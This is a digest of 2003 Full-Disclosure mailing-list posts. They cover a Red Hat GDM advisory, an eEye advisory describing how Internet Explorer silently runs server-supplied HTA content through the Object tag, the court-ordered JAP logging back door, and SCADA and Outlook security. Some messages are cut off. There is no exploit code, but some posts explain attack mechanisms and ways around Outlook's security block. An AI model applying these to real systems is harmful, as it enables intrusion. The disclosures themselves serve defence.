This 10.7.0.73 is google private ip 
address.
 
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=Gaurav KumarChief 
Information Security Analyst
 
E2 Labs Information Security Pvt. Ltd.Road no. 
3 , Banjara HillsHyderbad-34APIndia
 
[EMAIL PROTECTED]www.e2-labs.com
 
PGP public key at-http://mycgiserver.com/~ethicalhackers/pgp.txt
 
Phone(s)-Mobile    +91 40 
31068650Tele/Fax +91 40 23555942 
(ext-24)=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
 
-BEGIN PGP SIGNATURE-Version: 
PGPfreeware 7.0.3 for non-commercial use 
 
iQA/AwUBP0UZKP7pOx+pP+hiEQK3mACdFKQE1ZW8ugMpxgOdjpaMYRayI6UAoOEBnoQh/WR3ZZz2L2CR0ZxzbNls=iryU-END 
PGP SIGNATURE-

Re: [Full-Disclosure] jdbgmgr.exe hoax virus?

[morning_wood]

 i kind of find it shocking that "security" people are even questioning t
hat its real or a hoax, when simple investigation will reveal its a real
file.
btw, this has been a "hoax" for aprox 3 years now.


Donnie Werner
http://e2-labs.com
http://exploitlabs.com

___
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

Re: [Full-Disclosure] Subject prefix changing! READ THIS! SURVEY!!

[Noldata TAC]

Let it be as it is now

On Thu, 2003-08-21 at 12:43, Chris Cappuccio wrote:
> Hey folks,
> 
> ALL LIST MEMBERS ARE ENCOURAGED TO RESPOND AND MAKE A CHOICE AS TO HOW
> THEY WANT THIS BASIC FUNCTION OF THE LIST TO CONTINUE OPERATING. 
> 
> The subject header is going to change.
> 
> This is a survey to see whether people want:
> 
> 1. To have no subject prefix, that is, we remove [Full-Disclosure]
> or
> 2. To shorten the subject prefix from [Full-Disclosure] to [FD]
> or 
> 3. Do nothing
> 
> 1. The first choice is preferable for me and, I would hope, for most folks. 
> Len says he didn't really want it when he started the list anyways.  So we are
> actually going to change it now.
> 
> 2. Choice two may be preferable for people who can only filter their incoming
> messages based on the subject prefix.  So, if you WANT there to continue
> to be a subject prefix, SPEAK UP!!!
> 
> 3. Choice three sucks and if anyone wants this SPEAK UP so we know just
> how many people want this.  This is the least preferrable as it clutters
> the Subject header and makes the list harder to read through for those of us
> using a text based e-mail client.
> 
> For those of you using procmail or a compatible filter, a good match
> for Full-Disclosure that relies on headers you will always see in
> list messages goes like this:
> 
> :0:
> * [EMAIL PROTECTED]
> full-disclosure
> 
> That matches this header:
> 
> Sender: [EMAIL PROTECTED]
> 
> Alternately, you can tell your Pegasus/Mozilla/Outlook/OE/Whatever
> to match on this header.
-- 
Noldata TAC <[EMAIL PROTECTED]>

___
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

Re: [Full-Disclosure] JAP back doored

[Adrian Nutz]

But this is not the full storysee
http://www.heise.de/newsticker/data/uma-20.08.03-000/ (in german).
In short: While the AN.ON-Projekt was forced to put in the
logging-function, other mixes are not affected. SPLINE
(http://www.spline.de/) for example refuses to implment the logging.
They are in the cascades Luebeck-Berlin-Dresden and New
York-Berlin-Dresden. I think that german judges won't have a way to
force a mix in New York to implment the logging, which gives a cascade
of two (possibly) unlogged mixes if you use the New York-Berlin-Dresden
cascade.

I believe, that if there where more mixes around and more traffic on
the, this would be the best way to give a lot of anonymity. 
There should be mixes in many different countries, if possible most of
them shouldn't have any kind of treaties that allow a fast reaction from
the police in this countries if some other country wants logs.
Having many mixes requires a lot of traffic to conceal the
individual...best way here would be if large firms proxied all their
employees through JAP...which would help the firms as well.


regards,
Adrian




On Thu, 2003-08-21 at 19:20, error wrote:
> This is a terrible day for privacy advocates that used the once (perhaps
> never true) "anonymous" Java Anonymous Proxy. According to a  story (
> http://theregister.co.uk/content/55/32450.html) by The Register 
> 
> (It was also posted to
> ("http://securityfocus.com/archive/1/334382/2003-08-18/2003-08-24/0)
> BugTraq)
> 
> JAP was back doored by court order. It was a forced upgrade (after a
> service interruption) to monitor "one site" that continues to be
> unnamed. How sad it is when a group have a motto of "Anonymity is not a
> crime." and then hand logs to the police without a word? Clearly if they
> are able to defend themselves on alt.2600
> (http://groups.google.com/groups?dq=&hl=en&lr=&ie=UTF-8&frame=right&th=f4ef43f695ca29e8&seekm=3f3d3740%241_1%40news.vic.com#link10),
>  they aren't under a gag. Read it and weep.

___
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

[Full-Disclosure] [RHSA-2003:258-01] GDM allows local user to read any file.

[bugzilla]

-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1

- -
   Red Hat Security Advisory

Synopsis:  GDM allows local user to read any file.
Advisory ID:   RHSA-2003:258-01
Issue date:2003-08-21
Updated on:2003-08-21
Product:   Red Hat Linux
Keywords:  DoS
Cross references:  
Obsoletes: 
CVE Names: CAN-2003-0547 CAN-2003-0548 CAN-2003-0549
- -

1. Topic:

Updated GDM packages are available which correct a bug allowing local users
to read any text files on the system, and a denial of service issue if
XDMCP is enabled.

2. Relevant releases/architectures:

Red Hat Linux 7.1 - i386
Red Hat Linux 7.1 for iSeries (64 bit) - ppc
Red Hat Linux 7.1 for pSeries (64 bit) - ppc
Red Hat Linux 7.2 - i386, ia64
Red Hat Linux 7.3 - i386
Red Hat Linux 8.0 - i386
Red Hat Linux 9 - i386

3. Problem description:

GDM is the GNOME Display Manager for X.

Versions of GDM prior to 2.4.1.6 contain a bug where GDM will run as root
when examining the ~/.xsession-errors file when using the "examine session
errors" feature, allowing local users the ability to read any text file
on the system by creating a symlink. The Common Vulnerabilities and
Exposures project (cve.mitre.org) has assigned the name CAN-2003-0547 to
this issue.

Red Hat Linux 8.0 and 9 are vulnerable to this issue. Versions of GDM in
earlier releases did not have the "examine session errors" feature and
therefore are not vulnerable to this issue. 

Also addressed by these erratum packages are two problems in the X Display
Manager Control Protocol (XDMCP) which allow a denial of service attack
(DoS) by crashing the gdm daemon. The Common Vulnerabilities and
Exposures project (cve.mitre.org) has assigned the names CAN-2003-0548 and
CAN-2003-0549 to these issues.

This attack is only possible if XDMCP is enabled. XDMCP is not enabled by
default in Red Hat Linux distributions, and as documented XDMCP should only
ever be run on trusted networks.

Users of GDM are advised to upgrade to these erratum packages which disable
the "examine session errors" feature and contain backported security fixes
for the XDMCP issues.

4. Solution:

Before applying this update, make sure all previously released errata
relevant to your system have been applied.

To update all RPMs for your particular architecture, run:

rpm -Fvh [filenames]

where [filenames] is a list of the RPMs you wish to upgrade.  Only those
RPMs which are currently installed will be updated.  Those RPMs which are
not installed but included in the list will not be updated.  Note that you
can also use wildcards (*.rpm) if your current directory *only* contains the
desired RPMs.

Please note that this update is also available via Red Hat Network.  Many
people find this an easier way to apply updates.  To use Red Hat Network,
launch the Red Hat Update Agent with the following command:

up2date

This will start an interactive process that will result in the appropriate
RPMs being upgraded on your system.

5. RPMs required:

Red Hat Linux 7.1:

SRPMS:
ftp://updates.redhat.com/7.1/en/os/SRPMS/gdm-2.0beta2-46.src.rpm

i386:
ftp://updates.redhat.com/7.1/en/os/i386/gdm-2.0beta2-46.i386.rpm

Red Hat Linux 7.1 for iSeries (64 bit):

SRPMS:
ftp://updates.redhat.com/7.1/en/os/iSeries/SRPMS/gdm-2.0beta2-46.src.rpm

ppc:
ftp://updates.redhat.com/7.1/en/os/iSeries/ppc/gdm-2.0beta2-46.ppc.rpm

Red Hat Linux 7.1 for pSeries (64 bit):

SRPMS:
ftp://updates.redhat.com/7.1/en/os/pSeries/SRPMS/gdm-2.0beta2-46.src.rpm

ppc:
ftp://updates.redhat.com/7.1/en/os/pSeries/ppc/gdm-2.0beta2-46.ppc.rpm

Red Hat Linux 7.2:

SRPMS:
ftp://updates.redhat.com/7.2/en/os/SRPMS/gdm-2.2.3.1-21.src.rpm

i386:
ftp://updates.redhat.com/7.2/en/os/i386/gdm-2.2.3.1-21.i386.rpm

ia64:
ftp://updates.redhat.com/7.2/en/os/ia64/gdm-2.2.3.1-21.ia64.rpm

Red Hat Linux 7.3:

SRPMS:
ftp://updates.redhat.com/7.3/en/os/SRPMS/gdm-2.2.3.1-23.src.rpm

i386:
ftp://updates.redhat.com/7.3/en/os/i386/gdm-2.2.3.1-23.i386.rpm

Red Hat Linux 8.0:

SRPMS:
ftp://updates.redhat.com/8.0/en/os/SRPMS/gdm-2.4.0.7-14.src.rpm

i386:
ftp://updates.redhat.com/8.0/en/os/i386/gdm-2.4.0.7-14.i386.rpm

Red Hat Linux 9:

SRPMS:
ftp://updates.redhat.com/9/en/os/SRPMS/gdm-2.4.1.3-5.1.src.rpm

i386:
ftp://updates.redhat.com/9/en/os/i386/gdm-2.4.1.3-5.1.i386.rpm



6. Verification:

MD5 sum  Package Name
- --
9704d602c1d7101b95ca80f09d115cf4 7.1/en/os/SRPMS/gdm-2.0beta2-46.src.rpm
1badaf70349be1f21e4b4a990835a247 7.1/en/os/i386/gdm-2.0beta2-46.i386.rpm
9704d602c1d7101b95ca80f09d115cf4 7.1/en/os/iSeries/SRPMS/gdm-2.0beta2-46.src.rpm
c4d56f8b41f1a006c575dd7c5fdbad03 7.1/en/os/iSeries/ppc/gdm-2.0beta2-46.ppc.rpm
9704d602c1d7101b95ca80f09d115cf4 7.1/en/os/pSeries/SRPMS/gdm-2.0beta2-46.src.rpm
c4d56f8b41f1a006c575dd7

[Full-Disclosure] EEYE: Internet Explorer Object Data Remote Execution Vulnerability

[Marc Maiffret]

The first time I sent this email it included example HTML code. That HTML
code would have no affect on eMail clients as this is not a HTML email nor
was the data properly formatted, etc..., etc... However, due to VERY POORLY
written mail gateways, this eMail was being blocked at most gateways as
being a virus etc... Hence I have removed that data (you can find it on the
eEye website) and I am resending the advisory. So no need to eMail me about
this, I am aware of all those using poorly written software to protect their
organization, McAfee Groupshield being the biggest culprit.

-Marc

---
Internet Explorer Object Data Remote Execution Vulnerability

Release Date:
August 20, 2003

Reported Date:
May 15, 2003

Severity:
High (Remote Code Execution)

Systems Affected:
Microsoft Internet Explorer 5.01
Microsoft Internet Explorer 5.5
Microsoft Internet Explorer 6.0
Microsoft Internet Explorer 6.0 for Windows Server 2003

Description:
eEye Digital Security has discovered a security vulnerability in Microsoft's
Internet Explorer that would allow executable code to run automatically upon
rendering malicious HTML.

This is a flaw in Microsoft's primary contribution to HTML, the Object tag,
which is used to embed basically all ActiveX into HTML pages. The parameter
that specifies the remote location of data for objects is not checked to
validate the nature of the file being loaded, and therefore trojan
executables may be run from within a webpage as silently and as easily as
Internet Explorer parses image files or any other "safe" HTML content.

This attack may be utilized wherever IE parses HTML, including web sites,
e-mail, newsgroups, and within applications utilizing web-browsing
functionality.

Note:

On Windows 2003 Internet Explorer, this upgrade is noted as being "moderate"
rather than "critical." This is said to be because of Windows 2003's
"Enhanced Security Configuration Mode." In plain English, this just means
that Microsoft checked the "Disable ActiveX" box on Internet Explorer's
Security Properties. Windows 2003 Internet Explorer also disables by default
Visual Basic Script, Javascript, input forms, and even the ability to
download files.

Due to the popularity and prevalence of ActiveX on the Internet, users
running Windows 2003 "Enhanced Security Configuration" Mode may have chosen
to reactivate the ability to view active content. These users should be
aware that they are at critical risk for this vulnerability and should apply
the necessary patch.

Lastly, Microsoft attributes credit to eEye for this bug, stating it is the
"Object Type" bug. They do this after noting a variant of the "Object Type"
bug was found to be still vulnerable on certain language based systems.
However, the "Object Type" bug was our previous "Object" tag vulnerability.
That issue involved a stack based overflow in the "Type" property. This
current issue involves incorrect handling of the data specified by the
"Data" tag.

Technical Description:

[Data Removed] We have removed the example data from this eMail due to mail
gateway filters not functioning properly and believing this eMail is a
virus. For the full advisory with all technical details please visit:
http://www.eeye.com/html/Research/Advisories/AD20030820.html

This example is in the more traditional vein. In house, we set up a
demonstration system that silently loaded "bo2k" and "subseven" trojans from
within a single webpage.

The above example shows an entirely legitimate session. The only trick to
this is that the "Data" URL must not end in an unsafe extension (e.g.,
".exe", ".bat", etc). The "Content-Type" tag returned by the server is
treated by Internet Explorer as authoritative.

In other words, the client asks for a safe file, the server returns an
unsafe file, and Internet Explorer does not know what hit it.

What Internet Explorer should be doing in this case is not loading the
unsafe document at all, or it should prompt the user with a severe warning
about this file, with the default option being to save the file to disk.

We can generally guess what is going on here. As .hta or "HTML Application"
files are not binary and resemble - mechanically - HTML files, IE's check of
content will be unable to return that this file is anything but safe. The
second check of MIME type will see that we are requesting a safe file
type... and the third check of MIME type will be from the server saying this
is a HTML Application. For whatever reason, IE has ignored the returned MIME
type from a security context, but paid attention to it from an execution
context.

This attack was discovered through manual testing techniques. The hypothesis
was: "Internet Explorer has many avenues where it might be presented with
executable content. One of these avenues must be broken so that executable
content might be automatically run."

Protection:
Retina Network Security Scanner has been updated to identify this latest
Internet Explorer vulnerability.

Vendor Status:
Microsoft was

[Full-Disclosure] Re: Thanks for the hoax info.

[martin f krafft]

also sprach [EMAIL PROTECTED] <[EMAIL PROTECTED]> [2003.08.21.1741 +0200]:
> Thanks for the information showing it is a hoax.

Why does noone release a virus that uses such a filename. After all,
everyone knows it'll just be a hoax...

-- 
martin;  (greetings from the heart of the sun.)
  \ echo mailto: !#^."<*>"|tr "<*> mailto:"; [EMAIL PROTECTED]
 
invalid/expired pgp subkeys? use subkeys.pgp.net as keyserver!
 
"we have a firm commitment to nato, we are a part of nato.
 we have a firm commitment to europe. we are a part of europe." 
  - george w. bush 


pgp0.pgp
Description: PGP signature

[Full-Disclosure] Re: Popular Net anonymity service back-doored

[Florian Weimer]

-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1

"Thomas C. Greene " <[EMAIL PROTECTED]> writes:

> traffic might be going straight to Big Brother, right? Wrong. After taking 
> the service down for a few days with the explanation that the interruption 
> was "due to a hardware failure", the operators then required users to install 
> an "upgraded version" (ie. a back-doored version) of the app to continue 
> using the service.

This is technically incorrect.  As far as I know, the client update is
completely unrelated.

The logging functionality has been implemented in the mixes
themselves, otherwise you would be able to circumvent it by using a
different client.  The CVS commit occured on 2003-06-27.  Logging is
implemented this way: if the last mix in the cascade (which sees the
request in the clear) detects a suspicious request, it is logged
together with an ID.  The ID is transmitted (through the cascade) to
the first mix, which logs the ID and the IP address.  Combining the
two log files, it is possible to collapse the cascade and backtrack
the requests.  This exploits that TU Dresden operates both the first
and last mix in the Dresden--Dresden cascade (which is the only that
works reliably, AFAIK).

An employee of TU Dresden described this scheme in an interview with
Heise Online, a German online news site, back in October 2001.  He
announced an implementation within the next six months, but I don't
know at the moment if he was speaking for the JAP project as a whole,
or if he was just expressing his own ideas.

According to the news sources I have read, the court requested
surveillance based on the target IP address.  However, the source code
does not contain code to monitor specific (target) IP addresses, but
an elaborate URL screening facility, based on regular expressions.
Just by specifying ".*", it should be possible to log all requests
(and the corresponding IP addresses).  I don't know why the source
code doesn't implement the surveillance based on IP addresses, as the
court allegedly requested.

> "What was the alternative? Shutting down the service? The security
> apparatchiks would have appreciated that - anonymity in the Internet
> and especially AN.ON are a thorn in their side anyway."

Note that this kind of target-based monitoring would be much harder on
the plain Internet unless the remote site is willing to cooperate.  A
broken anonymizer makes this type of surveillance quite easy.

> But that's not the point. Disclosure is the point. The JAP Web site still 
> claims that anonymity is sacrosanct: "No one, not anyone from outside, not 
> any of the other users, not even the provider of the intermediary service can 
> determine which connection belongs to which user."

The official declaration ("Selbstverpflichtung") of the mixes, which
promises that neither logging will be enabled nor backdoors will be
implemented, hasn't been updated either.

However, perhaps the JAP team at TU Dresden hadn't much choice.  I
haven't seen the court order, but I could imagine that they weren't
allowed to inform the users because it would have harmed the criminal
investigation.  Following the order while fighting it within the legal
system is perhaps a wiser choice than just resisting it (and thus
breaking the law yourself).  But I agree that it takes them awfully
long to update their web site, now that some information is public.

Finally, they could have avoided all the hassle if they hadn't
published the source code.  Why did they publish?  I don't believe
it's an accident.

For BUGTRAQ readers: Symantec strips message headers.  The original
To: and Cc: are:

To: [EMAIL PROTECTED], [EMAIL PROTECTED]
Cc: "Thomas C. Greene " <[EMAIL PROTECTED]>
-BEGIN PGP SIGNATURE-
Version: GnuPG v1.3.2-cvs (GNU/Linux)

iQEVAwUBP0URumOpx4pWo0FrAQLTXQf/aJLMGYtvLpzbB8BtYNFqdoHEQlu/QUmv
gzouWH76cIL6zVJLK7eAM6nNI29itfOm/mJRfAJvU5B7FVAbFfPyhwEuBr4bUCYj
wkIwdM0tQihu+SBdIEIKdrSlfpNbstGJiKkQkPPpa2EREqqVYLadGk95KughJ1AG
f9HJzUG5jbPS/FEXrEYSqudJeVQPVPGUdmXbl0ayq8y2+AtZnk9NCJIFbXlBXf9P
/zK+AoORdDl6t8fzKfUwi/qTu4qads/+eHklAbaKo2EyghjquKubTQdWpQodpt17
2CB/D25ULum2e8LWN6el2AW+PjkyaxeVBenKQV8Rw9Zv2JLenZsWrQ==
=sN0C
-END PGP SIGNATURE-

___
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

RE: [Full-Disclosure] SCADA providers say security not our problem

[Drew Copley]

Excellent post, thanks for sharing the info.

> -Original Message-
> From: [EMAIL PROTECTED] 
> [mailto:[EMAIL PROTECTED] On Behalf Of 
> Michael Scheidell
> Sent: Wednesday, August 20, 2003 7:41 PM
> To: [EMAIL PROTECTED]; [EMAIL PROTECTED]
> Cc: [EMAIL PROTECTED]; 
> [EMAIL PROTECTED]; [EMAIL PROTECTED]
> Subject: [Full-Disclosure] SCADA providers say security not 
> our problem
> 
> 
> The Factory automation and SCADA systems providers have not 
> shown much willingness to take any responsibility for the use 
> (or misuse) of their systems, having washed their hands of 
> the security and stability functions once the system is 
> declared 'on line', saying that the security of their systems 
> in ow in the hands of the end-user.
> 
> This attitude amoung major manufactures of FA and SCADA 
> systems has in the past lead to break downs ("see Ohio Power 
> plant shut down by slammer worm" 
> http://www.security-focus.com/news/6767 ) 
> 
> I have contacts in the FA/SCADA field, having run the worlds 
> largest distributor of QNX (an RTOS used by FA/SCADA systems) 
> and having been the Director of Business Development for 
> VenturCom (they have a product called 'RTX' which is an RTOS 
> kernel for Windows, and they 'invented' embedded
> NT) 
> 
> During my years in both companies I have seen how and what 
> Windows can be used for (and what its forced to do) and I can 
> tell you by experience that while DCOM on NT may not be used 
> directly for real time control functions, it is in fact used 
> to do supervisory and monitoring ('traffic cop') type functions. 
> 
> Originally, FA and SCADA systems ran on proprietary backbones 
> like the Allen-Bradley links, 4 wire control and signaling systems.
> 
> With the advent of 10/100 and 1GB switched networking, many 
> control systems are now using ethernet for control.  Its 
> cheaper to install and maintain and comes with it the promise 
> of direct backoffice and manufacturing systems integration. 
> 
> However, with the combination of COTS (commercial off the 
> Shelf) systems like Windows, and transports like ethernet, 
> many once isolated FA systems are now combined, integrated, 
> reachable (and hackable) via administrative networks that 
> themselves have full internet access.
> 
> Should the installers and manufacturers of these systems make 
> sure they are compatible with current service packs and 
> patches?  Should they warn their clients that under no 
> circumstances should these systems ever be linked, cross 
> linked, even thorough a firewall to the corporate network? 
> What about their promise of integration? integrated back 
> office and manufacturing functions?  How will they do that 
> without direct links? 
> 
> Should the purchaser of these systems be required, or even 
> permitted to upgrade an patch these systems? 
> 
> Who is responsible for damages if (and when) these 
> unprotected systems get hacked? 
> 
> If a SCADA manufacturing company installs a (currently 
> patched, reasonable
> secure) system in a health care or medical manufacturing 
> company, and integrated back office functions include patient 
> data, who is going to pay the HIPAA fines _WHEN_ that system 
> gets hacked by a multi-mode worm?  Once that gets in via 
> email on the administrative side, or is brought in via the 
> vendor themselves during installation and testing functions? 
> 
> What do you think of this response by a major manufacturer of 
> SCADA systems?  Is it up to the end customer to keep these 
> systems isolated? And if so, should these companies stop 
> pushing the ease of integration and integrated back office 
> functions and just admit that there can be no connectivity 
> between your internet accessible administrative network and 
> the critical manufacturing system? And how reasonable is that 
> in light of recent revelations of failures at that above 
> mentioned Ohio power plant?
> 
> "   But it is impossible for us to keep our SCADA systems 
> secure.  Once we
> get a version out there, and it is installed performing 
> some function
> like power plant automation, customers don't mess with 
> it.  They only use
> it.
> 
> It will become vulnerable over time due to stagnant 
> technology.  Our
> focus, and your focus, needs to be on secure access to 
> it.  Not making
> the product itself bullet proof.
> 
> Interesting questions about the liability.  Contracts 
> would need to
> be structured to highlight Best Efforts on security, not 
> perfection.  The
> bottom line is that a service provider will give you more security
> because they live it and it is their focus."
> 
> What is your opinion? what you you tell your HIPAA, or SEC 
> regulated company if their vendors refused to take 
> responsibility or even washed their hands once the system is 
> installed?
> 
> --
> Michael Scheidell, CEO 
> SECNAP Network Security
> Main: 561-368-9561 / www.secnap.net
> Looking for a career in Internet 

RE: [Full-Disclosure] Subject prefix changing! READ THIS! SURVEY!!

[Drew Copley]

> -Original Message-
> From: [EMAIL PROTECTED] 
> [mailto:[EMAIL PROTECTED] On Behalf Of 
> Chris Cappuccio
> Sent: Thursday, August 21, 2003 10:43 AM
> To: [EMAIL PROTECTED]
> Subject: [Full-Disclosure] Subject prefix changing! READ 
> THIS! SURVEY!!
> 
> 
> Hey folks,
> 
> ALL LIST MEMBERS ARE ENCOURAGED TO RESPOND AND MAKE A CHOICE 
> AS TO HOW THEY WANT THIS BASIC FUNCTION OF THE LIST TO 
> CONTINUE OPERATING. 
> 
> The subject header is going to change.
> 
> This is a survey to see whether people want:
> 
> 1. To have no subject prefix, that is, we remove 
> [Full-Disclosure] or 2. To shorten the subject prefix from 
> [Full-Disclosure] to [FD] or 

[FD] would be fine.

> 3. Do nothing
> 
> 1. The first choice is preferable for me and, I would hope, 
> for most folks. 
> Len says he didn't really want it when he started the list 
> anyways.  So we are actually going to change it now.
> 
> 2. Choice two may be preferable for people who can only 
> filter their incoming messages based on the subject prefix.  
> So, if you WANT there to continue to be a subject prefix, SPEAK UP!!!

Regardless, it is much easier to filter based on subject line. 


> 
> 3. Choice three sucks and if anyone wants this SPEAK UP so we 
> know just how many people want this.  This is the least 
> preferrable as it clutters the Subject header and makes the 
> list harder to read through for those of us using a text 
> based e-mail client.
> 
> For those of you using procmail or a compatible filter, a 
> good match for Full-Disclosure that relies on headers you 
> will always see in list messages goes like this:
> 
> :0:
> * [EMAIL PROTECTED]
> full-disclosure
> 
> That matches this header:
> 
> Sender: [EMAIL PROTECTED]
> 
> Alternately, you can tell your Pegasus/Mozilla/Outlook/OE/Whatever
> to match on this header.
> 
> -- 
> Nullum magnum ingenium sine mixtura dementiae fuit -- Seneca
> 
> ___
> Full-Disclosure - We believe in it.
> Charter: http://lists.netsys.com/full-disclosure-charter.html
> 

___
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

RE: [Full-Disclosure] windowsupdate

[Drew Copley]

> -Original Message-
> From: [EMAIL PROTECTED] 
> [mailto:[EMAIL PROTECTED] On Behalf Of *Hobbit*
> Sent: Wednesday, August 20, 2003 4:08 PM
> To: [EMAIL PROTECTED]
> Subject: [Full-Disclosure] windowsupdate
> 
> 
> [Observation stolen from nanog.]
> 
>Windows Update uses ActiveX Controls and active scripting 
> to display
>content correctly and to determine which updates apply to 
> your computer.
> 
>To view and download updates for your computer, your 
> Internet Explorer
>security settings must meet the following requirements:
>  * Security must be set to medium or lower
>  * Active scripting must be set to enabled
>  * The download and initialization of ActiveX Controls 
> must be set to
>enabled
> 
> What the hell are you people thinking?!

They did screw up. Their design is flawed, but they have a good base
there to fix it, if they ever decide to.

The primary security model of Internet Explorer is shown in the Windows
2003 version. Activex is disabled. File downloading is disabled.
Javescript and Visual Basic Script is disabled. Input forms is disabled.

All of this is disabled on the Internet Zone. 

Windows update is placed in the Trusted Zone.

The problem is they ask you to place every site you want to download a
file from or run activex - or do any of this stuff - in the Trusted
Zone.

>From a corporate standpoint where users may be prevented from doing
these things... This may be "good". Users will be prevented from doing
just about anything. But, IE had this capability all along, anyway. 

>From a regular user standpoint, this means that users will be going into
their archaic settings and changing these settings to fit their own
dislikes and likes. As these settings are poorly done - poorly designed,
that is - users are very likely to enable "features" such as "always run
untrusted activex" or something else which every spyware popup on the
planet would drool over.

There are other issues which have been brought up... XSS on trusted
sites now invades the full security model of IE (though, it might be
noted trusted is not what it used to be, I think, regardless trusted
does not mean system access)... Etc, etc.

Lastly, why is this concern just given to Windows 2003? That is an
expensive upgrade. According to the latest stats, this is 95% of the
browsing public we are talking about here. Microsoft has an obligation
to the public. The days of playing Machiavelli (or is that Darth
Sidious?)should be over.

And, do not think this much touted security feature of Windows 2003 is
something which is expensive or out of this world. From what I can tell,
it is just a bit more of a settings manager - an awkward one at that. 


> 
> _H*
> 
> ___
> Full-Disclosure - We believe in it.
> Charter: http://lists.netsys.com/full-disclosure-charter.html
> 

___
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

RE: [Full-Disclosure] JAP back doored

[Drew Copley]

Why is the state of Germany trojanizing applications which may be run by
anyone on the planet? 

How is it they believe they have a right to trojanize someone outside of
Germany? 

This is blatantly illegal in just about every country outside of
Germany.  Literally. 

Are they trying to set a precedent for other countries to follow?

Or, do they believe they are superior to other countries, and they may
invade at will?




We know this because the JAP operators immediately warned users that
their IP traffic might be going straight to Big Brother, right? Wrong.
After taking the service down for a few days with the explanation that
the interruption was "due to a hardware failure", the operators then
required users to install an "upgraded version" (ie. a back-doored
version) of the app to continue using the service. 

"As soon as our service works again, an obligatory update (version
00.02.001) [will be] needed by all users," the public was told. Not a
word about Feds or back doors. 

Fortunately, a nosey troublemaker had a look at the 'upgrade' and
noticed some unusual business in it, such as: 

"CAMsg::printMsg(LOG_INFO,"Loading Crime Detection Data\n");" 
"CAMsg::printMsg(LOG_CRIT,"Crime detected - ID: %u - Content: 
\n%s\n",id,crimeBuff,payLen);" 

and posted it to alt.2600. 



> -Original Message-
> From: [EMAIL PROTECTED] 
> [mailto:[EMAIL PROTECTED] On Behalf Of error
> Sent: Thursday, August 21, 2003 10:21 AM
> To: [EMAIL PROTECTED]; [EMAIL PROTECTED]
> Subject: [Full-Disclosure] JAP back doored
> 
> 
> This is a terrible day for privacy advocates that used the 
> once (perhaps never true) "anonymous" Java Anonymous Proxy. 
> According to a  story (
> http://theregister.co.uk/content/55/32450.html) by The Register 
> 
> (It was also posted to
> ("http://securityfocus.com/archive/1/334382/2003-08-18/2003-08-24/0)
> BugTraq)
> 
> JAP was back doored by court order. It was a forced upgrade 
> (after a service interruption) to monitor "one site" that 
> continues to be unnamed. How sad it is when a group have a 
> motto of "Anonymity is not a crime." and then hand logs to 
> the police without a word? Clearly if they are able to defend 
> themselves on alt.2600 
> (http://groups.google.com/groups?dq=&hl=en&lr=&ie=UTF-8&frame=
right&th=f4ef43f695ca29e8&seekm=3f3d3740%241_1%40news.vic.com#link10),
they aren't under a gag. Read it and weep.

-- 
error <[EMAIL PROTECTED]>

___
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

Re: [Full-Disclosure] HP Tandem NonStop servers

[Valdis . Kletnieks]

On Thu, 21 Aug 2003 14:11:26 BST, =?iso-8859-1?q?david=20king?= <[EMAIL PROTECTED]>  
said:

> I was told by a few that the HP tandem NonStop servers are the most secure servers ?
> 
> i have got myself a box and have been tasksed to do a security review.
> 
> Does anyone have any recomdations/idea how i should go abt doing it ?

If you think the vendor matters anywhere *NEAR* as much as the sysadmin
who installed it, you probably shouldn't be doing a security review.

Tandem gear has a long reputation of being hardware-reliable (mostly through
lots and lots of redundancy).   I'd not be surprised if most of their security is
of the "via obscurity" variety - not many hacks available for it because not
many people have access to one.

Where to start?  The usual:

Unused services listening on ports
Null/default passwords
Un-needed software installed
Some sort of Tripwire-style software installed
System logging enabled, preferably with a copy to another machine
File/device permissions..

That's probably enough to get you going




pgp0.pgp
Description: PGP signature

RE: [Full-Disclosure] Re: Administrivia: Testing Emergency Virus Filter..

[Drew Copley]

> -Original Message-
> From: Thor Larholm [mailto:[EMAIL PROTECTED] 
> Sent: Thursday, August 21, 2003 1:32 AM
> To: Drew Copley; [EMAIL PROTECTED]
> Subject: Re: [Full-Disclosure] Re: Administrivia: Testing 
> Emergency Virus Filter..
> 
> 
> > From: "Drew Copley" <[EMAIL PROTECTED]>
> > Actually, quite a few don't, some still rely on piggy 
> backing Outlook. 
> > But, yes, this trend should be dissapearing as people 
> upgrade so their 
> > Outlook client will no longer be able to be remote controlled by 
> > another application. (Current versions not only block 
> attachments but 
> > also the ability for applications to access the api framework, 
> > itself).
> 
> Specific parts of the API for Outlook is blocked completely 
> (unless the enduser manually approves otherwise), which has 
> also had an effect on existing mainstream applications such 
> as tighly integrated antispam products (I had problems using 
> my favorite, www.spamfighter.com). Precisely because of this, 
> several solutions were devised almost immediately to 
> circumvent these restrictions by proxying through thirdparty 
> COM objects such as Redemption ( 
> http://www.dimastr.com/redemption/ ) so one > could still reach 
> the entire Outlook object model.

Actually, I have used redemption in developing Outlook testing tools, et
al. I found it to be crappy and restrictive.

I do not think that would be a good solution for virii writers whom
should write in assembly, anyway.

> 
> "Outlook Redemption works around limitations imposed by the 
> Outlook Security Patch and Service Pack 2 of MS Office 2000 
> and Office XP (which includes Security Patch) plus provides a 
> number of functions to work with properties and functionality 
> not exposed through the Outlook object model."
> 
> I like Redemption, not as much for its ability to circumvent 
> the complete API block but for its utility functions which 
> come quite handy when developing Outlook extensions :)

I don't know, maybe I should work with it some more sometime. I forget
all of my issues with it.

> 
> > Even if email clients do start encrypting this information, it will 
> > still be easy to bypass because it is local. There is 
> always a crack 
> > for local work. But, such a thing may deter some virus writers.
> 
> 99% of virus writers would have problems understanding the 
> concept of Redemption. I'm still amazed at how many virii 
> rely on enduser interaction when they clearly need not to.

Yes, but it is the 1% that don't have any issue with this at all. Groups
like 29a have written papers and code which surpasses much of that you
can find on internal Windows wizardry. Seriously, when you get down deep
into the internals of the NT kernal, the number of sites out there
